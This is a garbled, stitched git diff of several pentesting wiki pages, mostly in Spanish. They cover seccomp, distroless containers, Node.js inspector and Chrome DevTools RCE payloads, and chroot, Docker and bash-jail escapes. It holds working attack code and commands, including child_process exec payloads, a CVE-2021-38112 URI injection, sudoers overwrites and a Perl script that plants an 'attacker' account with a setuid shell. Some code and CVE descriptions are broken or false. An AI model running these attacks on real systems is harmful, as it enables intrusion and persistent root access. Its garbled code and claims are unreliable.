Si desea asegurarse de que **algún binario no funcione dentro de un contenedor de Docker**, puede usar strace para listar las llamadas al sistema que está utilizando el binario y luego prohibirlas.\
|
||||
En el siguiente ejemplo se descubren las **llamadas al sistema** de `uname`:
|
||||
```bash
|
||||
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Si estás utilizando **Docker solo para lanzar una aplicación**, puedes **perfilizarla** con **`strace`** y **solo permitir las llamadas al sistema** que necesita.
|
||||
{% endhint %}
|
||||
|
||||
### Ejemplo de política Seccomp
|
||||
|
||||
Para ilustrar la función de Seccomp, creemos un perfil de Seccomp que deshabilite la llamada al sistema "chmod" como se muestra a continuación.
|
||||
```json
|
||||
{
|
||||
"defaultAction": "SCMP_ACT_ALLOW",
|
||||
"syscalls": [
|
||||
{
|
||||
"name": "chmod",
|
||||
"action": "SCMP_ACT_ERRNO"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
En el perfil anterior, hemos establecido la acción predeterminada en "permitir" y creado una lista negra para deshabilitar "chmod". Para ser más seguros, podemos establecer la acción predeterminada en "rechazar" y crear una lista blanca para habilitar selectivamente las llamadas al sistema.\
|
||||
El siguiente resultado muestra la llamada "chmod" devolviendo un error porque está deshabilitada en el perfil de seccomp.
|
||||
```bash
|
||||
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
|
||||
chmod: /etc/hosts: Operation not permitted
|
||||
```
|
||||
El siguiente resultado muestra el comando "docker inspect" mostrando el perfil:
|
||||
```json
|
||||
"SecurityOpt": [
|
||||
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
|
||||
],
|
||||
```
|
||||
### Desactivarlo en Docker
|
||||
|
||||
Lanza un contenedor con la bandera: **`--security-opt seccomp=unconfined`**
|
||||
|
||||
A partir de Kubernetes 1.19, **seccomp está habilitado por defecto para todos los Pods**. Sin embargo, el perfil de seccomp por defecto aplicado a los Pods es el perfil "**RuntimeDefault**", el cual es **proporcionado por el tiempo de ejecución del contenedor** (por ejemplo, Docker, containerd). El perfil "RuntimeDefault" permite la mayoría de las llamadas al sistema mientras bloquea algunas que se consideran peligrosas o que no son generalmente requeridas por los contenedores.
|
|
@ -0,0 +1,40 @@
|
|||
# Armando Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## ¿Qué es Distroless?
|
||||
|
||||
Un contenedor distroless es un tipo de contenedor que **contiene solo las dependencias necesarias para ejecutar una aplicación específica**, sin ningún software o herramienta adicional que no sea necesario. Estos contenedores están diseñados para ser lo más **ligeros** y **seguros** posible, y tienen como objetivo **minimizar la superficie de ataque** eliminando cualquier componente innecesario.
|
||||
|
||||
Los contenedores distroless se utilizan a menudo en **entornos de producción donde la seguridad y la fiabilidad son primordiales**.
|
||||
|
||||
Algunos **ejemplos** de **contenedores distroless** son:
|
||||
|
||||
* Proporcionados por **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
* Proporcionados por **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
|
||||
## Armando Distroless
|
||||
|
||||
El objetivo de armar un contenedor distroless es poder **ejecutar binarios y cargas arbitrarias incluso con las limitaciones** implicadas por **distroless** (falta de binarios comunes en el sistema) y también protecciones comúnmente encontradas en contenedores como **solo lectura** o **no ejecución** en `/dev/shm`.
|
||||
|
||||
### A través de la memoria
|
||||
|
||||
Llegará en algún momento de 2023...
|
||||
|
||||
### A través de binarios existentes
|
||||
|
||||
#### openssl
|
||||
|
||||
En **[este post](https://www.form3.tech/engineering/content/exploiting-distroless-images)** se explica que el binario **`openssl`** se encuentra con frecuencia en estos contenedores, potencialmente porque es **necesario** para el software que se va a ejecutar dentro del contenedor.
|
||||
|
||||
Abusando del binario **`openssl`** es posible **ejecutar cosas arbitrarias**.
|
|
@ -0,0 +1,161 @@
|
|||
## Información básica
|
||||
|
||||
Cuando se inicia un proceso de Node.js con el interruptor `--inspect`, este escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. A cada proceso también se le asigna un **UUID** **único**.
|
||||
|
||||
Los clientes del inspector deben conocer y especificar la dirección del host, el puerto y el UUID para conectarse. Una URL completa se verá algo como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malintencionado capaz de conectarse a este puerto puede ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**).
|
||||
{% endhint %}
|
||||
|
||||
Hay varias formas de iniciar un inspector:
|
||||
```bash
|
||||
node --inspect app.js #Will run the inspector in port 9229
|
||||
node --inspect=4444 app.js #Will run the inspector in port 4444
|
||||
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
|
||||
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
|
||||
# --inspect-brk is equivalent to --inspect
|
||||
|
||||
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
|
||||
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
|
||||
```
|
||||
Cuando se inicia un proceso inspeccionado, aparecerá algo como esto:
|
||||
```
|
||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
For help, see: https://nodejs.org/en/docs/inspector
|
||||
```
|
||||
Los procesos basados en **CEF** (**Chromium Embedded Framework**) necesitan usar el parámetro: `--remote-debugging-port=9222` para abrir el **debugger** (las protecciones SSRF siguen siendo muy similares). Sin embargo, en lugar de conceder una sesión de **debug** de **NodeJS**, se comunicarán con el navegador utilizando el [**Protocolo de Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/), que es una interfaz para controlar el navegador, pero no hay una RCE directa.
|
||||
|
||||
Cuando se inicia un navegador depurado, aparecerá algo como esto:
|
||||
```
|
||||
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
|
||||
```
|
||||
### Navegadores, WebSockets y política de mismo origen <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
||||
|
||||
Los sitios web abiertos en un navegador web pueden hacer solicitudes WebSocket y HTTP bajo el modelo de seguridad del navegador. Se necesita una **conexión HTTP inicial** para **obtener un ID de sesión de depurador único**. La **política de mismo origen** **evita** que los sitios web puedan hacer **esta conexión HTTP**. Para una seguridad adicional contra [**ataques de reenvío DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifica que los **encabezados 'Host'** para la conexión especifiquen una **dirección IP** o **`localhost`** o **`localhost6`** con precisión.
|
||||
|
||||
{% hint style="info" %}
|
||||
Estas **medidas de seguridad evitan explotar el inspector** para ejecutar código simplemente enviando una solicitud HTTP (lo que podría hacerse explotando una vulnerabilidad SSRF).
|
||||
{% endhint %}
|
||||
|
||||
### Iniciando el inspector en procesos en ejecución
|
||||
|
||||
Puede enviar la **señal SIGUSR1** a un proceso nodejs en ejecución para hacer que **inicie el inspector** en el puerto predeterminado. Sin embargo, tenga en cuenta que necesita tener suficientes privilegios, por lo que esto podría otorgarle **acceso privilegiado a la información dentro del proceso** pero no una escalada de privilegios directa.
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Esto es útil en contenedores porque **apagar el proceso y comenzar uno nuevo** con `--inspect` no es una opción porque el **contenedor** será **eliminado** con el proceso.
|
||||
{% endhint %}
|
||||
|
||||
### Conectar al inspector/debugger
|
||||
|
||||
Si tienes acceso a un navegador **basado en Chromium** puedes conectarte accediendo a `chrome://inspect` o `edge://inspect` en Edge. Haz clic en el botón Configure y asegúrate de que tu **host y puerto objetivo** estén listados (encuentra un ejemplo en la siguiente imagen de cómo obtener RCE usando uno de los ejemplos de las siguientes secciones).
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1).png>)
|
||||
|
||||
Usando la **línea de comandos** puedes conectarte a un debugger/inspector con:
|
||||
```bash
|
||||
node inspect <ip>:<port>
|
||||
node inspect 127.0.0.1:9229
|
||||
# RCE example from debug console
|
||||
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
|
||||
```
|
||||
La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), permite **encontrar inspectores** que se estén ejecutando localmente e **inyectar código** en ellos.
|
||||
```bash
|
||||
#List possible vulnerable sockets
|
||||
./cefdebug.exe
|
||||
#Check if possibly vulnerable
|
||||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
|
||||
#Exploit it
|
||||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que los exploits de **NodeJS RCE no funcionarán** si está conectado a un navegador a través del [**Protocolo de Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/) (debe verificar la API para encontrar cosas interesantes que hacer con ella).
|
||||
{% endhint %}
|
||||
|
||||
## RCE en el depurador/inspector de NodeJS
|
||||
|
||||
{% hint style="info" %}
|
||||
Si llegaste aquí buscando cómo obtener [**RCE desde un XSS en Electron, consulta esta página.**](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
|
||||
{% endhint %}
|
||||
|
||||
Algunas formas comunes de obtener **RCE** cuando se puede **conectar** a un **inspector** de Node es usando algo como (parece que esto **no funcionará en una conexión con el protocolo de Chrome DevTools**):
|
||||
```javascript
|
||||
process.mainModule.require('child_process').exec('calc')
|
||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
||||
require('child_process').spawnSync('calc.exe')
|
||||
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
|
||||
```
|
||||
## Cargas útiles del Protocolo Chrome DevTools
|
||||
|
||||
Puede verificar la API aquí: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||
En esta sección, solo listaré cosas interesantes que encuentre que las personas hayan utilizado para explotar este protocolo.
|
||||
|
||||
### Inyección de parámetros a través de enlaces profundos
|
||||
|
||||
En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino Security descubrió que una aplicación basada en CEF **registró un URI personalizado** en el sistema (workspaces://) que recibió el URI completo y luego **lanzó la aplicación basada en CEF** con una configuración que se construyó parcialmente a partir de ese URI.
|
||||
|
||||
Se descubrió que los parámetros URI se decodificaron de URL y se utilizaron para lanzar la aplicación básica de CEF, lo que permitió a un usuario **inyectar** la bandera **`--gpu-launcher`** en la **línea de comandos** y ejecutar cosas arbitrarias.
|
||||
|
||||
Entonces, una carga útil como:
|
||||
```
|
||||
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
|
||||
```
|
||||
Ejecutará una calculadora.
|
||||
|
||||
### Sobrescribir archivos
|
||||
|
||||
Cambie la carpeta donde **se guardarán los archivos descargados** y descargue un archivo para **sobrescribir** el **código fuente** frecuentemente utilizado de la aplicación con su **código malicioso**.
|
||||
```javascript
|
||||
ws = new WebSocket(url); //URL of the chrome devtools service
|
||||
ws.send(JSON.stringify({
|
||||
id: 42069,
|
||||
method: 'Browser.setDownloadBehavior',
|
||||
params: {
|
||||
behavior: 'allow',
|
||||
downloadPath: '/code/'
|
||||
}
|
||||
}));
|
||||
```
|
||||
### RCE y exfiltración con Webdriver
|
||||
|
||||
Según este artículo: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148), es posible obtener RCE y exfiltrar páginas internas desde el controlador.
|
||||
|
||||
### Post-Explotación
|
||||
|
||||
En un entorno real y **después de comprometer** una PC de usuario que utiliza un navegador basado en Chrome/Chromium, se podría lanzar un proceso de Chrome con la **depuración activada y reenviar el puerto de depuración** para poder acceder a él. De esta manera, se podrá **inspeccionar todo lo que la víctima hace con Chrome y robar información sensible**.
|
||||
|
||||
La forma sigilosa es **terminar todos los procesos de Chrome** y luego llamar a algo como
|
||||
```bash
|
||||
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s)
|
||||
* [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)
|
||||
* [https://iwantmore.pizza/posts/cve-2019-1414.html](https://iwantmore.pizza/posts/cve-2019-1414.html)
|
||||
* [https://bugs.chromium.org/p/project-zero/issues/detail?id=773](https://bugs.chromium.org/p/project-zero/issues/detail?id=773)
|
||||
* [https://bugs.chromium.org/p/project-zero/issues/detail?id=1742](https://bugs.chromium.org/p/project-zero/issues/detail?id=1742)
|
||||
* [https://bugs.chromium.org/p/project-zero/issues/detail?id=1944](https://bugs.chromium.org/p/project-zero/issues/detail?id=1944)
|
||||
* [https://nodejs.org/en/docs/guides/debugging-getting-started/](https://nodejs.org/en/docs/guides/debugging-getting-started/)
|
||||
* [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)
|
||||
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
|
||||
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,465 @@
|
|||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <directory>\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (chroot(argv[1]) != 0) {
|
||||
perror("chroot");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (chdir("/") != 0) {
|
||||
perror("chdir");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
system("/bin/bash");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
```bash
|
||||
gcc break_chroot.c -o break_chroot
|
||||
./break_chroot /new_chroot
|
||||
```
|
||||
|
||||
### Root + Mount
|
||||
|
||||
If you are **root** inside a chroot you **can escape** creating a **mount**. This because **mounts are not affected** by chroot.
|
||||
|
||||
```bash
|
||||
mkdir /tmp/new_root
|
||||
mount --bind / /tmp/new_root
|
||||
chroot /tmp/new_root
|
||||
```
|
||||
|
||||
### Root + Ptrace
|
||||
|
||||
If you are **root** inside a chroot you **can escape** using **ptrace**. This because **ptrace is not affected** by chroot.
|
||||
|
||||
```bash
|
||||
echo 0 > /proc/sys/kernel/yama/ptrace_scope
|
||||
```
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
pid_t pid;
|
||||
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <pid>\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pid = atoi(argv[1]);
|
||||
|
||||
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) != 0) {
|
||||
perror("ptrace");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
waitpid(pid, NULL, 0);
|
||||
|
||||
if (ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESYSGOOD) != 0) {
|
||||
perror("ptrace");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (ptrace(PTRACE_SYSCALL, pid, NULL, NULL) != 0) {
|
||||
perror("ptrace");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
waitpid(pid, NULL, 0);
|
||||
|
||||
if (ptrace(PTRACE_SYSCALL, pid, NULL, NULL) != 0) {
|
||||
perror("ptrace");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Escaped!\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
gcc break_ptrace.c -o break_ptrace
|
||||
./break_ptrace <pid>
|
||||
```
|
||||
|
||||
## Docker Escapes
|
||||
|
||||
### Docker Breakouts
|
||||
|
||||
#### Docker Breakout - CAP_SYS_ADMIN
|
||||
|
||||
If you have **CAP_SYS_ADMIN** capability you can create a new container with **--privileged** flag and then **mount the host filesystem**.
|
||||
|
||||
```bash
|
||||
docker run -it --rm --cap-add=SYS_ADMIN --privileged ubuntu bash
|
||||
mount /dev/sda1 /mnt
|
||||
```
|
||||
|
||||
#### Docker Breakout - CAP_DAC_OVERRIDE
|
||||
|
||||
If you have **CAP_DAC_OVERRIDE** capability you can **read/write any file** in the host filesystem.
|
||||
|
||||
```bash
|
||||
docker run -it --rm --cap-add DAC_OVERRIDE ubuntu bash
|
||||
cat /etc/shadow
|
||||
```
|
||||
|
||||
#### Docker Breakout - CAP_SYS_PTRACE
|
||||
|
||||
If you have **CAP_SYS_PTRACE** capability you can **ptrace any process** in the host.
|
||||
|
||||
```bash
|
||||
docker run -it --rm --cap-add SYS_PTRACE ubuntu bash
|
||||
strace -p1
|
||||
```
|
||||
|
||||
### Docker Escapes - CVEs
|
||||
|
||||
#### Docker Escape - CVE-2019-5736
|
||||
|
||||
This vulnerability allows a **container to overwrite the host `runc` binary** (used by Docker) and therefore **run as root** in the host.
|
||||
|
||||
```bash
|
||||
docker run -it --rm -v /usr:/usr ubuntu bash
|
||||
echo "echo 0 > /proc/sys/kernel/yama/ptrace_scope" > /usr/bin/docker-runc
|
||||
chmod +x /usr/bin/docker-runc
|
||||
```
|
||||
|
||||
#### Docker Escape - CVE-2019-14271
|
||||
|
||||
This vulnerability allows a **container to overwrite the host `sudoers` file** and therefore **run any command as root**.
|
||||
|
||||
```bash
|
||||
docker run -it --rm -v /etc:/etc ubuntu bash
|
||||
echo "root ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers
|
||||
```
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
|
||||
int main(void)
|
||||
{
|
||||
mkdir("chroot-dir", 0755);
|
||||
chroot("chroot-dir");
|
||||
for(int i = 0; i < 1000; i++) {
|
||||
chdir("..");
|
||||
}
|
||||
chroot(".");
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Python</summary>
|
||||
|
||||
Python
|
||||
|
||||
</details>
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import os
|
||||
os.mkdir("chroot-dir")
|
||||
os.chroot("chroot-dir")
|
||||
for i in range(1000):
|
||||
os.chdir("..")
|
||||
os.chroot(".")
|
||||
os.system("/bin/bash")
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Perl</summary>
|
||||
|
||||
Perl es un lenguaje de programación interpretado de propósito general que se utiliza a menudo en la administración de sistemas y en la creación de scripts. Es posible que un usuario limitado tenga acceso a Perl y pueda ejecutar scripts de Perl. Si es así, puede intentar ejecutar un script de Perl que le permita obtener una shell con permisos elevados.
|
||||
|
||||
Un ejemplo de script de Perl que puede ser útil para la escalada de privilegios es el siguiente:
|
||||
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
use strict;
|
||||
use warnings;
|
||||
use POSIX qw(setuid);
|
||||
|
||||
my $uid = $<;
|
||||
my $gid = $(;
|
||||
|
||||
if ($uid != 0) {
|
||||
print "[-] You need to be root to run this script\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
my $user = "attacker";
|
||||
my $home = "/home/$user";
|
||||
my $shell = "/bin/bash";
|
||||
|
||||
if (system("useradd -d $home -s $shell $user") != 0) {
|
||||
print "[-] Failed to create user\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (system("echo '$user ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/$user") != 0) {
|
||||
print "[-] Failed to add user to sudoers\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (system("cp /bin/bash $home/bash; chmod +s $home/bash") != 0) {
|
||||
print "[-] Failed to create setuid shell\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
print "[+] User created: $user\n";
|
||||
print "[+] Setuid shell created: $home/bash\n";
|
||||
```
|
||||
|
||||
Este script crea un nuevo usuario con el nombre "attacker", le da permisos de sudo sin contraseña y crea una shell setuid en su directorio de inicio. Para ejecutar este script, simplemente guárdelo en un archivo y ejecute `perl script.pl`. Después de ejecutar el script, puede iniciar sesión como el usuario "attacker" y ejecutar comandos con permisos elevados utilizando `sudo`.
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
mkdir "chroot-dir";
|
||||
chroot "chroot-dir";
|
||||
foreach my $i (0..1000) {
|
||||
chdir ".."
|
||||
}
|
||||
chroot ".";
|
||||
system("/bin/bash");
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + FD guardado
|
||||
|
||||
{% hint style="warning" %}
|
||||
Este caso es similar al anterior, pero en este caso el **atacante almacena un descriptor de archivo al directorio actual** y luego **crea el chroot en una nueva carpeta**. Finalmente, como tiene **acceso** a ese **FD fuera** del chroot, lo accede y **escapa**.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
|
||||
int main(void)
|
||||
{
|
||||
mkdir("tmpdir", 0755);
|
||||
dir_fd = open(".", O_RDONLY);
|
||||
if(chroot("tmpdir")){
|
||||
perror("chroot");
|
||||
}
|
||||
fchdir(dir_fd);
|
||||
close(dir_fd);
|
||||
for(x = 0; x < 1000; x++) chdir("..");
|
||||
chroot(".");
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + Fork + UDS (Unix Domain Sockets)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Se puede pasar FD a través de Unix Domain Sockets, por lo que:
|
||||
|
||||
* Crear un proceso hijo (fork)
|
||||
* Crear UDS para que el padre y el hijo puedan comunicarse
|
||||
* Ejecutar chroot en el proceso hijo en una carpeta diferente
|
||||
* En el proceso padre, crear un FD de una carpeta que está fuera del nuevo chroot del proceso hijo
|
||||
* Pasar al proceso hijo ese FD usando el UDS
|
||||
* El proceso hijo cambia su directorio actual a ese FD, y debido a que está fuera de su chroot, escapará de la cárcel.
|
||||
{% endhint %}
|
||||
|
||||
###  Root + Mount
|
||||
|
||||
{% hint style="warning" %}
|
||||
* Montar el dispositivo raíz (/) en un directorio dentro del chroot
|
||||
* Ejecutar chroot en ese directorio
|
||||
|
||||
Esto es posible en Linux
|
||||
{% endhint %}
|
||||
|
||||
### Root + /proc
|
||||
|
||||
{% hint style="warning" %}
|
||||
* Montar procfs en un directorio dentro del chroot (si aún no está montado)
|
||||
* Buscar un pid que tenga una entrada de root/cwd diferente, como: /proc/1/root
|
||||
* Ejecutar chroot en esa entrada
|
||||
{% endhint %}
|
||||
|
||||
### Root(?) + Fork
|
||||
|
||||
{% hint style="warning" %}
|
||||
* Crear un Fork (proceso hijo) y ejecutar chroot en una carpeta diferente más profunda en el sistema de archivos y cambiar el directorio actual a ella
|
||||
* Desde el proceso padre, mover la carpeta donde se encuentra el proceso hijo a una carpeta anterior al chroot del hijo
|
||||
* Este proceso hijo se encontrará fuera del chroot
|
||||
{% endhint %}
|
||||
|
||||
### ptrace
|
||||
|
||||
{% hint style="warning" %}
|
||||
* Hace tiempo los usuarios podían depurar sus propios procesos desde un proceso de sí mismos... pero esto ya no es posible por defecto
|
||||
* De todas formas, si es posible, se podría ptracear un proceso y ejecutar un shellcode dentro de él ([ver este ejemplo](linux-capabilities.md#cap\_sys\_ptrace)).
|
||||
{% endhint %}
|
||||
|
||||
## Jaulas de Bash
|
||||
|
||||
### Enumeración
|
||||
|
||||
Obtener información sobre la cárcel:
|
||||
```bash
|
||||
echo $SHELL
|
||||
echo $PATH
|
||||
env
|
||||
export
|
||||
pwd
|
||||
```
|
||||
### Modificar PATH
|
||||
|
||||
Verifique si puede modificar la variable de entorno PATH.
|
||||
```bash
|
||||
echo $PATH #See the path of the executables that you can use
|
||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||
echo /home/* #List directory
|
||||
```
|
||||
### Usando vim
|
||||
```bash
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
```
|
||||
### Crear script
|
||||
|
||||
Comprueba si puedes crear un archivo ejecutable con _/bin/bash_ como contenido.
|
||||
```bash
|
||||
red /bin/bash
|
||||
> w wx/path #Write /bin/bash in a writable and executable path
|
||||
```
|
||||
### Obtener bash desde SSH
|
||||
|
||||
Si estás accediendo a través de ssh, puedes utilizar este truco para ejecutar una shell bash:
|
||||
```bash
|
||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||
ssh user@<IP> -t "bash --noprofile -i"
|
||||
ssh user@<IP> -t "() { :; }; sh -i "
|
||||
```
|
||||
### Declaración
|
||||
```bash
|
||||
declare -n PATH; export PATH=/bin;bash -i
|
||||
|
||||
BASH_CMDS[shell]=/bin/bash;shell -i
|
||||
```
|
||||
### Wget
|
||||
|
||||
Es posible sobrescribir, por ejemplo, el archivo sudoers.
|
||||
```bash
|
||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||
```
|
||||
### Otros trucos
|
||||
|
||||
